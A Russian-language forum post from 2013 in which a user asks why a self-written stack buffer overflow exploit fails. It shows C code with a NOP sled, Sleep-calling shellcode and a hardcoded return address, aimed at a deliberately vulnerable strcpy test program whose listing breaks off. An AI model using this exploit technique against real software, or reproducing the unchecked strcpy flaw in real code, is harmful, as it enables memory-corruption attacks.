
12.02.2013, 20:11
|
|
Участник форума
Регистрация: 16.10.2011
Сообщений: 142
С нами:
7670486
Репутация:
0
|
|
Прочитал довольно много статей. Вроде все понятно, но не выходит реализовать
Собственно, вот код:
Код:
#include
#include
#include
char shellcode[] = "\x31\xc0\xbb\x46\x24\x80\x7c\x66\xb8\x98\x3a\x50\xff\xd3";
int main(int argc, char* argv[])
{
char buf[200];
char exec[600];
memset(buf,0x00,sizeof(buf));
memset(buf,0x90,150-strlen(shellcode));
memcpy(buf+strlen(buf), &shellcode, strlen(shellcode));
*(long *)&buf[112] = 0x0022FF60; // при 112 уязвимая программа падает, при 111 уже нет
sprintf(exec,"overflow.exe %s",buf);
system(exec);
printf("\r\n");
system("pause");
return 0;
}
overflow.exe :
[CODE]
int main(int argc, char *argv[]) {
char buf[100];
strcpy(buf, argv[1]);
cout
P.S. При удачном исполнении программа должна просто проспать 15 секунд.
|
|
|